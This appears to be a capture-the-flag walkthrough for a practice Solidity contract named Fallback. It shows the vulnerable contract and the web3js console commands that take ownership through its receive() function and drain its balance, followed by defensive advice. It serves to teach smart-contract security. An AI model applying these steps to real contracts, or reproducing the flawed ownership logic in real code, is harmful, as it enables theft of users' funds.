Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js.
The contract 📑
Given the following contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Claim ownership and drain the balance.
Inspecting the contract 🕵️♀️🕵️
Fallback.sol
is a fundraiser, to become a contributor users must pledge ether to the contract.
The balance in the contract can only be withdrawn by the owner
.
State variables:
-
contributions
: this mapping keep tracks of the amount pledge by contributor. -
owner
: address of the current owner of the contract.
Functions:
-
constructor
: initializesmsg.sender
asowner
and set the contribution of the deployer as1000 ether
. -
modifier onlyOwner
: access control to prevent unauthorized accounts from calling thewithdraw
method. -
contribute
: method to pledge ether. -
getContribution
: reads the contribution ofmsg.sender
. -
withdraw
: withdraws the entire balance in the contract. Only callable byowner
. -
receive
: special function that enables the contract to receive ether.
Hacking Fallback.sol
👩💻👨💻
Upon closer inspection, there are two ways to claim the ownership:
- Through the
contribute
method:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
By calling this function we can pledge an amount of ETH, and if the total pledged by us is greater than the contributions
of the owner
we claimed the ownership.
That sounds pretty straightforward, the drawback is that when the contract was deployed, the constructor
set the contributions
of the owner
as 1000 ETH 😵.
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
I don't own an amount of test ether close to 1000 and surely you don't either. We need to try another option to hack this contract.
- Through the
receive
function:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
receive
(a variation of the fallback
) is a special function in Solidity. This function is executed when the contract receives ether with an empty calldata
. For a receive
function to handle transfer of ether it MUST be marked as payable
, otherwise the transaction will revert.
To claim ownership we need to pass the conditions in the require
function -- sending an amount of ether greater than zero and have previously contributed to the contract.
Now we that we know how to claim ownership, we could write a contract to expoit Fallback.sol
but is not necessary, we will hack the contract interacting with the ABI using web3js
.
Request a new instance of the level.
Check the current owner of the contract:
await contract.owner() // in my case it returned '0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'
We need to replace that address with ours.
First we need to contribute some ether to the contract, run the following command in your console:
await contract.contribute.sendTransaction({value: toWei("0.0009")})
Let me quickly explain this command -- as explained in the Lvl 0, the contract object has an ABI that is made of the methods of the contract. In this case from the contract
we will call the contribute
method, but the methods also have their own. sendTransaction
is a method that allow us to create a transaction with a set of options
(e.g. to, from, data, value, etc...). From the avaliable options we are mostly concerned with the value
in which we can specify the amount of ether (a.k.a msg.value
) we want to send in the transaction.
In Solidity we don't work with decimals and at the smart contract level ether is handle in wei which is the smallest unit of ether (1 ether = 1000000000000000000 wei or 10 ** 18).
To transform the value
from ether to wei we use toWei("0.0009")
.
Let's verify our contribution after the transactions is mined:
await contract.getContribution().then(contribution => contribution.toString()) // 900000000000000 wei
Good! it returned the correct amount represented in wei.
Now that we have contributed to the contract, we can send a plain transaction to trigger the receive
function to become the owners, run the following command in your console:
await sendTransaction({from: player, to: contract.address, value: toWei("0.0005")})
Now let's check the address that owns the contract:
await contract.owner() // should return your address
Yes! 😎 we just claimed ownership of the contract.
Before putting the last nail in the coffin, let's verify the current balance in the contract:
await getBalance(contract.address).then(bal => bal.toString()) // 0.0014 ether
Ok, let's drain the balance of the contract, run this command:
await contract.withdraw()
After the trasansaction is mined check again the balance of the contract and it should be zero.
Submit the instance to complete this level.
Conclusion ✔️
This contract poorly implemented a fallback
function without any kind of safeguards (i.e. conditional requirement) making the contract exploitable by anyone and putting in risk its entire balance.
When implementing a fallback
function in your contract try to use it these ways:
- Keep the logic inside simple.
- Be careful when implementing logic that modify state (ownership change, balances updates, support to low level calls).
- Use it mostly to emit payment events to the transaction log.
- Check simple conditional requirements.
Top comments (0)